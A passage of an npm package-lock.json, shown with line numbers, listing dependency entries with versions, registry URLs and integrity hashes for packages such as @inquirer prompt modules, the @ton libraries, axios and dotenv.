"sha512-XvJRx+2KR3YXyYtPUUy+qd9i7p+GO9Ko6VIIpWlBrpWwXDv8WLFeHTxz35CfQFUiBMLXlGHhGzys7lqit9gWag==", 91 | "dependencies": { 92 | "mute-stream": "^1.0.0" 93 | }, 94 | "engines": { 95 | "node": ">=18" 96 | } 97 | }, 98 | "node_modules/@inquirer/core/node_modules/ansi-regex": { 99 | "version": "5.0.1", 100 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", 101 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", 102 | "engines": { 103 | "node": ">=8" 104 | } 105 | }, 106 | "node_modules/@inquirer/core/node_modules/strip-ansi": { 107 | "version": "6.0.1", 108 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", 109 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", 110 | "dependencies": { 111 | "ansi-regex": "^5.0.1" 112 | }, 113 | "engines": { 114 | "node": ">=8" 115 | } 116 | }, 117 | "node_modules/@inquirer/editor": { 118 | "version": "2.2.0", 119 | "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-2.2.0.tgz", 120 | "integrity": "sha512-9KHOpJ+dIL5SZli8lJ6xdaYLPPzB8xB9GZItg39MBybzhxA16vxmszmQFrRwbOA918WA2rvu8xhDEg/p6LXKbw==", 121 | "dependencies": { 122 | "@inquirer/core": "^9.1.0", 123 | "@inquirer/type": "^1.5.3", 124 | "external-editor": "^3.1.0" 125 | }, 126 | "engines": { 127 | "node": ">=18" 128 | } 129 | }, 130 | "node_modules/@inquirer/expand": { 131 | "version": "2.3.0", 132 | "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-2.3.0.tgz", 133 | "integrity": "sha512-qnJsUcOGCSG1e5DTOErmv2BPQqrtT6uzqn1vI/aYGiPKq+FgslGZmtdnXbhuI7IlT7OByDoEEqdnhUnVR2hhLw==", 134 | "dependencies": { 135 | "@inquirer/core": "^9.1.0", 136 | "@inquirer/type": "^1.5.3", 137 | "yoctocolors-cjs": "^2.1.2" 138 | }, 139 | "engines": { 140 | "node": ">=18" 141 | } 142 | }, 143 | "node_modules/@inquirer/figures": { 144 | "version": "1.0.7", 145 | "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.7.tgz", 146 | "integrity": "sha512-m+Trk77mp54Zma6xLkLuY+mvanPxlE4A7yNKs2HBiyZ4UkVs28Mv5c/pgWrHeInx+USHeX/WEPzjrWrcJiQgjw==", 147 | "engines": { 148 | "node": ">=18" 149 | } 150 | }, 151 | "node_modules/@inquirer/input": { 152 | "version": "2.3.0", 153 | "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-2.3.0.tgz", 154 | "integrity": "sha512-XfnpCStx2xgh1LIRqPXrTNEEByqQWoxsWYzNRSEUxJ5c6EQlhMogJ3vHKu8aXuTacebtaZzMAHwEL0kAflKOBw==", 155 | "dependencies": { 156 | "@inquirer/core": "^9.1.0", 157 | "@inquirer/type": "^1.5.3" 158 | }, 159 | "engines": { 160 | "node": ">=18" 161 | } 162 | }, 163 | "node_modules/@inquirer/number": { 164 | "version": "1.1.0", 165 | "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-1.1.0.tgz", 166 | "integrity": "sha512-ilUnia/GZUtfSZy3YEErXLJ2Sljo/mf9fiKc08n18DdwdmDbOzRcTv65H1jjDvlsAuvdFXf4Sa/aL7iw/NanVA==", 167 | "dependencies": { 168 | "@inquirer/core": "^9.1.0", 169 | "@inquirer/type": "^1.5.3" 170 | }, 171 | "engines": { 172 | "node": ">=18" 173 | } 174 | }, 175 | "node_modules/@inquirer/password": { 176 | "version": "2.2.0", 177 | "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-2.2.0.tgz", 178 | "integrity": "sha512-5otqIpgsPYIshqhgtEwSspBQE40etouR8VIxzpJkv9i0dVHIpyhiivbkH9/dGiMLdyamT54YRdGJLfl8TFnLHg==", 179 | "dependencies": { 180 | "@inquirer/core": "^9.1.0", 181 | "@inquirer/type": "^1.5.3", 182 | "ansi-escapes": "^4.3.2" 183 | }, 184 | "engines": { 185 | "node": ">=18" 186 | } 187 | }, 188 | "node_modules/@inquirer/prompts": { 189 | "version": "5.5.0", 190 | "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-5.5.0.tgz", 191 | "integrity": "sha512-BHDeL0catgHdcHbSFFUddNzvx/imzJMft+tWDPwTm3hfu8/tApk1HrooNngB2Mb4qY+KaRWF+iZqoVUPeslEog==", 192 | "dependencies": { 193 | "@inquirer/checkbox": "^2.5.0", 194 | "@inquirer/confirm": "^3.2.0", 195 | "@inquirer/editor": "^2.2.0", 196 | "@inquirer/expand": "^2.3.0", 197 | "@inquirer/input": "^2.3.0", 198 | "@inquirer/number": "^1.1.0", 199 | "@inquirer/password": "^2.2.0", 200 | "@inquirer/rawlist": "^2.3.0", 201 | "@inquirer/search": "^1.1.0", 202 | "@inquirer/select": "^2.5.0" 203 | }, 204 | "engines": { 205 | "node": ">=18" 206 | } 207 | }, 208 | "node_modules/@inquirer/rawlist": { 209 | "version": "2.3.0", 210 | "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-2.3.0.tgz", 211 | "integrity": "sha512-zzfNuINhFF7OLAtGHfhwOW2TlYJyli7lOUoJUXw/uyklcwalV6WRXBXtFIicN8rTRK1XTiPWB4UY+YuW8dsnLQ==", 212 | "dependencies": { 213 | "@inquirer/core": "^9.1.0", 214 | "@inquirer/type": "^1.5.3", 215 | "yoctocolors-cjs": "^2.1.2" 216 | }, 217 | "engines": { 218 | "node": ">=18" 219 | } 220 | }, 221 | "node_modules/@inquirer/search": { 222 | "version": "1.1.0", 223 | "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-1.1.0.tgz", 224 | "integrity": "sha512-h+/5LSj51dx7hp5xOn4QFnUaKeARwUCLs6mIhtkJ0JYPBLmEYjdHSYh7I6GrLg9LwpJ3xeX0FZgAG1q0QdCpVQ==", 225 | "dependencies": { 226 | "@inquirer/core": "^9.1.0", 227 | "@inquirer/figures": "^1.0.5", 228 | "@inquirer/type": "^1.5.3", 229 | "yoctocolors-cjs": "^2.1.2" 230 | }, 231 | "engines": { 232 | "node": ">=18" 233 | } 234 | }, 235 | "node_modules/@inquirer/select": { 236 | "version": "2.5.0", 237 | "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-2.5.0.tgz", 238 | "integrity": "sha512-YmDobTItPP3WcEI86GvPo+T2sRHkxxOq/kXmsBjHS5BVXUgvgZ5AfJjkvQvZr03T81NnI3KrrRuMzeuYUQRFOA==", 239 | "dependencies": { 240 | "@inquirer/core": "^9.1.0", 241 | "@inquirer/figures": "^1.0.5", 242 | "@inquirer/type": "^1.5.3", 243 | "ansi-escapes": "^4.3.2", 244 | "yoctocolors-cjs": "^2.1.2" 245 | }, 246 | "engines": { 247 | "node": ">=18" 248 | } 249 | }, 250 | "node_modules/@inquirer/type": { 251 | "version": "1.5.5", 252 | "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-1.5.5.tgz", 253 | "integrity": "sha512-MzICLu4yS7V8AA61sANROZ9vT1H3ooca5dSmI1FjZkzq7o/koMsRfQSzRtFo+F3Ao4Sf1C0bpLKejpKB/+j6MA==", 254 | "dependencies": { 255 | "mute-stream": "^1.0.0" 256 | }, 257 | "engines": { 258 | "node": ">=18" 259 | } 260 | }, 261 | "node_modules/@ton/core": { 262 | "version": "0.59.0", 263 | "resolved": "https://registry.npmjs.org/@ton/core/-/core-0.59.0.tgz", 264 | "integrity": "sha512-LSIkGst7BoY7fMWshejzcH0UJnoW21JGlRrW0ch+6A7Xb/7EuekxgdKym7fHxcry6OIf6FoeFg97lJ960N/Ghg==", 265 | "dependencies": { 266 | "symbol.inspect": "1.0.1" 267 | }, 268 | "peerDependencies": { 269 | "@ton/crypto": ">=3.2.0" 270 | } 271 | }, 272 | "node_modules/@ton/crypto": { 273 | "version": "3.3.0", 274 | "resolved": "https://registry.npmjs.org/@ton/crypto/-/crypto-3.3.0.tgz", 275 | "integrity": "sha512-/A6CYGgA/H36OZ9BbTaGerKtzWp50rg67ZCH2oIjV1NcrBaCK9Z343M+CxedvM7Haf3f/Ee9EhxyeTp0GKMUpA==", 276 | "dependencies": { 277 | "@ton/crypto-primitives": "2.1.0", 278 | "jssha": "3.2.0", 279 | "tweetnacl": "1.0.3" 280 | } 281 | }, 282 | "node_modules/@ton/crypto-primitives": { 283 | "version": "2.1.0", 284 | "resolved": "https://registry.npmjs.org/@ton/crypto-primitives/-/crypto-primitives-2.1.0.tgz", 285 | "integrity": "sha512-PQesoyPgqyI6vzYtCXw4/ZzevePc4VGcJtFwf08v10OevVJHVfW238KBdpj1kEDQkxWLeuNHEpTECNFKnP6tow==", 286 | "dependencies": { 287 | "jssha": "3.2.0" 288 | } 289 | }, 290 | "node_modules/@ton/ton": { 291 | "version": "15.1.0", 292 | "resolved": "https://registry.npmjs.org/@ton/ton/-/ton-15.1.0.tgz", 293 | "integrity": "sha512-almetcfTu7jLjcNcEEPB7wAc8yl90ES1M//sOr1QE+kv7RbmEvMkaPSc7kFxzs10qrjIPKxlodBJlMSWP5LuVQ==", 294 | "dependencies": { 295 | "axios": "^1.6.7", 296 | "dataloader": "^2.0.0", 297 | "symbol.inspect": "1.0.1", 298 | "teslabot": "^1.3.0", 299 | "zod": "^3.21.4" 300 | }, 301 | "peerDependencies": { 302 | "@ton/core": ">=0.59.0", 303 | "@ton/crypto": ">=3.2.0" 304 | } 305 | }, 306 | "node_modules/@types/lodash": { 307 | "version": "4.17.13", 308 | "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.13.tgz", 309 | "integrity": "sha512-lfx+dftrEZcdBPczf9d0Qv0x+j/rfNCMuC6OcfXmO8gkfeNAY88PgKUbvG56whcN23gc27yenwF6oJZXGFpYxg==", 310 | "dev": true 311 | }, 312 | "node_modules/@types/mute-stream": { 313 | "version": "0.0.4", 314 | "resolved": "https://registry.npmjs.org/@types/mute-stream/-/mute-stream-0.0.4.tgz", 315 | "integrity": "sha512-CPM9nzrCPPJHQNA9keH9CVkVI+WR5kMa+7XEs5jcGQ0VoAGnLv242w8lIVgwAEfmE4oufJRaTc9PNLQl0ioAow==", 316 | "dependencies": { 317 | "@types/node": "*" 318 | } 319 | }, 320 | "node_modules/@types/node": { 321 | "version": "22.8.5", 322 | "resolved": "https://registry.npmjs.org/@types/node/-/node-22.8.5.tgz", 323 | "integrity": "sha512-5iYk6AMPtsMbkZqCO1UGF9W5L38twq11S2pYWkybGHH2ogPUvXWNlQqJBzuEZWKj/WRH+QTeiv6ySWqJtvIEgA==", 324 | "dependencies": { 325 | "undici-types": "~6.19.8" 326 | } 327 | }, 328 | "node_modules/@types/wrap-ansi": { 329 | "version": "3.0.0", 330 | "resolved": "https://registry.npmjs.org/@types/wrap-ansi/-/wrap-ansi-3.0.0.tgz", 331 | "integrity": "sha512-ltIpx+kM7g/MLRZfkbL7EsCEjfzCcScLpkg37eXEtx5kmrAKBkTJwd1GIAjDSL8wTpM6Hzn5YO4pSb91BEwu1g==" 332 | }, 333 | "node_modules/agent-base": { 334 | "version": "7.1.1", 335 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.1.tgz", 336 | "integrity": "sha512-H0TSyFNDMomMNJQBn8wFV5YC/2eJ+VXECwOadZJT554xP6cODZHPX3H9QMQECxvrgiSOP1pHjy1sMWQVYJOUOA==", 337 | "dependencies": { 338 | "debug": "^4.3.4" 339 | }, 340 | "engines": { 341 | "node": ">= 14" 342 | } 343 | }, 344 | "node_modules/ansi-escapes": { 345 | "version": "4.3.2", 346 | "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", 347 | "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", 348 | "dependencies": { 349 | "type-fest": "^0.21.3" 350 | }, 351 | "engines": { 352 | "node": ">=8" 353 | }, 354 | "funding": { 355 | "url": "https://github.com/sponsors/sindresorhus" 356 | } 357 | }, 358 | "node_modules/ansi-regex": { 359 | "version": "6.1.0", 360 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", 361 | "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", 362 | "engines": { 363 | "node": ">=12" 364 | }, 365 | "funding": { 366 | "url": "https://github.com/chalk/ansi-regex?sponsor=1" 367 | } 368 | }, 369 | "node_modules/ansi-styles": { 370 | "version": "4.3.0", 371 | "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", 372 | "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", 373 | "dependencies": { 374 | "color-convert": "^2.0.1" 375 | }, 376 | "engines": { 377 | "node": ">=8" 378 | }, 379 | "funding": { 380 | "url": "https://github.com/chalk/ansi-styles?sponsor=1" 381 | } 382 | }, 383 | "node_modules/async-mutex": { 384 | "version": "0.3.2", 385 | "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.3.2.tgz", 386 | "integrity": "sha512-HuTK7E7MT7jZEh1P9GtRW9+aTWiDWWi9InbZ5hjxrnRa39KS4BW04+xLBhYNS2aXhHUIKZSw3gj4Pn1pj+qGAA==", 387 | "dependencies": { 388 | "tslib": "^2.3.1" 389 | } 390 | }, 391 | "node_modules/asynckit": { 392 | "version": "0.4.0", 393 | "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", 394 | "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" 395 | }, 396 | "node_modules/axios": { 397 | "version": "1.7.7", 398 | "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.7.tgz", 399 | "integrity": "sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==", 400 | "dependencies": { 401 | "follow-redirects": "^1.15.6", 402 | "form-data": "^4.0.0", 403 | "proxy-from-env": "^1.1.0" 404 | } 405 | }, 406 | "node_modules/base64-js": { 407 | "version": "1.5.1", 408 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", 409 | "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", 410 | "funding": [ 411 | { 412 | "type": "github", 413 | "url": "https://github.com/sponsors/feross" 414 | }, 415 | { 416 | "type": "patreon", 417 | "url": "https://www.patreon.com/feross" 418 | }, 419 | { 420 | "type": "consulting", 421 | "url": "https://feross.org/support" 422 | } 423 | ] 424 | }, 425 | "node_modules/big-integer": { 426 | "version": "1.6.52", 427 | "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.52.tgz", 428 | "integrity": "sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==", 429 | "engines": { 430 | "node": ">=0.6" 431 | } 432 | }, 433 | "node_modules/buffer": { 434 | "version": "6.0.3", 435 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", 436 | "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", 437 | "funding": [ 438 | { 439 | "type": "github", 440 | "url": "https://github.com/sponsors/feross" 441 | }, 442 | { 443 | "type": "patreon", 444 | "url": "https://www.patreon.com/feross" 445 | }, 446 | { 447 | "type": "consulting", 448 | "url": "https://feross.org/support" 449 | } 450 | ], 451 | "dependencies": { 452 | "base64-js": "^1.3.1", 453 | "ieee754": "^1.2.1" 454 | } 455 | }, 456 | "node_modules/bufferutil": { 457 | "version": "4.0.8", 458 | "resolved": "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.8.tgz", 459 | "integrity": "sha512-4T53u4PdgsXqKaIctwF8ifXlRTTmEPJ8iEPWFdGZvcf7sbwYo6FKFEX9eNNAnzFZ7EzJAQ3CJeOtCRA4rDp7Pw==", 460 | "hasInstallScript": true, 461 | "dependencies": { 462 | "node-gyp-build": "^4.3.0" 463 | }, 464 | "engines": { 465 | "node": ">=6.14.2" 466 | } 467 | }, 468 | "node_modules/chardet": { 469 | "version": "0.7.0", 470 | "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", 471 | "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" 472 | }, 473 | "node_modules/cli-width": { 474 | "version": "4.1.0", 475 | "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", 476 | "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", 477 | "engines": { 478 | "node": ">= 12" 479 | } 480 | }, 481 | "node_modules/color-convert": { 482 | "version": "2.0.1", 483 | "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", 484 | "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", 485 | "dependencies": { 486 | "color-name": "~1.1.4" 487 | }, 488 | "engines": { 489 | "node": ">=7.0.0" 490 | } 491 | }, 492 | "node_modules/color-name": { 493 | "version": "1.1.4", 494 | "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", 495 | "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" 496 | }, 497 | "node_modules/combined-stream": { 498 | "version": "1.0.8", 499 | "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", 500 | "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", 501 | "dependencies": { 502 | "delayed-stream": "~1.0.0" 503 | }, 504 | "engines": { 505 | "node": ">= 0.8" 506 | } 507 | }, 508 | "node_modules/commander": { 509 | "version": "12.1.0", 510 | "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", 511 | "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", 512 | "engines": { 513 | "node": ">=18" 514 | } 515 | }, 516 | "node_modules/d": { 517 | "version": "1.0.2", 518 | "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz", 519 | "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==", 520 | "dependencies": { 521 | "es5-ext": "^0.10.64", 522 | "type": "^2.7.2" 523 | }, 524 | "engines": { 525 | "node": ">=0.12" 526 | } 527 | }, 528 | "node_modules/dataloader": { 529 | "version": "2.2.2", 530 | "resolved": "https://registry.npmjs.org/dataloader/-/dataloader-2.2.2.tgz", 531 | "integrity": "sha512-8YnDaaf7N3k/q5HnTJVuzSyLETjoZjVmHc4AeKAzOvKHEFQKcn64OKBfzHYtE9zGjctNM7V9I0MfnUVLpi7M5g==" 532 | }, 533 | "node_modules/debug": { 534 | "version": "4.3.7", 535 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", 536 | "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", 537 | "dependencies": { 538 | "ms": "^2.1.3" 539 | }, 540 | "engines": { 541 | "node": ">=6.0" 542 | }, 543 | "peerDependenciesMeta": { 544 | "supports-color": { 545 | "optional": true 546 | } 547 | } 548 | }, 549 | "node_modules/delayed-stream": { 550 | "version": "1.0.0", 551 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 552 | "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", 553 | "engines": { 554 | "node": ">=0.4.0" 555 | } 556 | }, 557 | "node_modules/dom-serializer": { 558 | "version": "1.4.1", 559 | "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", 560 | "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", 561 | "dependencies": { 562 | "domelementtype": "^2.0.1", 563 | "domhandler": "^4.2.0", 564 | "entities": "^2.0.0" 565 | }, 566 | "funding": { 567 | "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" 568 | } 569 | }, 570 | "node_modules/domelementtype": { 571 | "version": "2.3.0", 572 | "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", 573 | "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", 574 | "funding": [ 575 | { 576 | "type": "github", 577 | "url": "https://github.com/sponsors/fb55" 578 | } 579 | ] 580 | }, 581 | "node_modules/domhandler": { 582 | "version": "4.3.1", 583 | "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", 584 | "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", 585 | "dependencies": { 586 | "domelementtype": "^2.2.0" 587 | }, 588 | "engines": { 589 | "node": ">= 4" 590 | }, 591 | "funding": { 592 | "url": "https://github.com/fb55/domhandler?sponsor=1" 593 | } 594 | }, 595 | "node_modules/domutils": { 596 | "version": "2.8.0", 597 | "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", 598 | "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", 599 | "dependencies": { 600 | "dom-serializer": "^1.0.1", 601 | "domelementtype": "^2.2.0", 602 | "domhandler": "^4.2.0" 603 | }, 604 | "funding": { 605 | "url": "https://github.com/fb55/domutils?sponsor=1" 606 | } 607 | }, 608 | "node_modules/dotenv": { 609 | "version": "16.4.5", 610 | "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.4.5.tgz", 611 | "integrity": "sha512-ZmdL2rui+eB2YwhsWzjInR8LldtZHGDoQ1ugH85ppHKwpUHL7j7rN0Ti9NCnGiQbhaZ11FpR+7ao1dNsmduNUg==", 612 | "engines": { 613 | "node": ">=12" 614 | }, 615 | "funding": { 616 | "url": "https://dotenvx.com" 617 | } 618 | }, 619 | "node_modules/emoji-regex": { 620 | "version": "8.0.0", 621 | "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", 622 | "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" 623 | }, 624 | "node_modules/entities": { 625 | "version": "2.2.0", 626 | "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", 627 | "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", 628 | "funding": { 629 | "url": "https://github.com/fb55/entities?sponsor=1" 630 | } 631 | }, 632 | "node_modules/es5-ext": { 633 | "version": "0.10.64", 634 | "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz", 635 | "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==", 636 | "hasInstallScript": true, 637 | "dependencies": { 638 | "es6-iterator": "^2.0.3", 639 | "es6-symbol": "^3.1.3", 640 | "esniff": "^2.0.1", 641 | "next-tick": "^1.1.0" 642 | }, 643 | "engines": { 644 | "node": ">=0.10" 645 | } 646 | }, 647 | "node_modules/es6-iterator": { 648 | "version": "2.0.3", 649 | "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", 650 | "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", 651 | "dependencies": { 652 | "d": "1", 653 | "es5-ext": "^0.10.35", 654 | "es6-symbol": "^3.1.1" 655 | } 656 | }, 657 | "node_modules/es6-symbol": { 658 | "version": "3.1.4", 659 | "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz", 660 | "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==", 661 | "dependencies": { 662 | "d": "^1.0.2", 663 | "ext": "^1.7.0" 664 | }, 665 | "engines": { 666 | "node": ">=0.12" 667 | } 668 | }, 669 | "node_modules/esniff": { 670 | "version": "2.0.1", 671 | "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz", 672 | "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==", 673 | "dependencies": { 674 | "d": "^1.0.1", 675 | "es5-ext": "^0.10.62", 676 | "event-emitter": "^0.3.5", 677 | "type": "^2.7.2" 678 | }, 679 | "engines": { 680 | "node": ">=0.10" 681 | } 682 | }, 683 | "node_modules/event-emitter": { 684 | "version": "0.3.5", 685 | "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", 686 | "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==", 687 | "dependencies": { 688 | "d": "1", 689 | "es5-ext": "~0.10.14" 690 | } 691 | }, 692 | "node_modules/ext": { 693 | "version": "1.7.0", 694 | "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", 695 | "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", 696 | "dependencies": { 697 | "type": "^2.7.2" 698 | } 699 | }, 700 | "node_modules/external-editor": { 701 | "version": "3.1.0", 702 | "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", 703 | "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", 704 | "dependencies": { 705 | "chardet": "^0.7.0", 706 | "iconv-lite": "^0.4.24", 707 | "tmp": "^0.0.33" 708 | }, 709 | "engines": { 710 | "node": ">=4" 711 | } 712 | }, 713 | "node_modules/fdy-tmp": { 714 | "version": "1.0.4", 715 | "resolved": "https://registry.npmjs.org/fdy-tmp/-/fdy-tmp-1.0.4.tgz", 716 | "integrity": "sha512-WLE9lG+aNGa8avPAWoN1TTkwZiDJAHqdUz8QMQIXMJWYDY1brsScIIwbBFQwQO0G+DF5Qq40npQ2XoV6IP6uUw==", 717 | "engines": { 718 | "node": ">=18" 719 | } 720 | }, 721 | "node_modules/follow-redirects": { 722 | "version": "1.15.9", 723 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", 724 | "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", 725 | "funding": [ 726 | { 727 | "type": "individual", 728 | "url": "https://github.com/sponsors/RubenVerborgh" 729 | } 730 | ], 731 | "engines": { 732 | "node": ">=4.0" 733 | }, 734 | "peerDependenciesMeta": { 735 | "debug": { 736 | "optional": true 737 | } 738 | } 739 | }, 740 | "node_modules/form-data": { 741 | "version": "4.0.1", 742 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.1.tgz", 743 | "integrity": 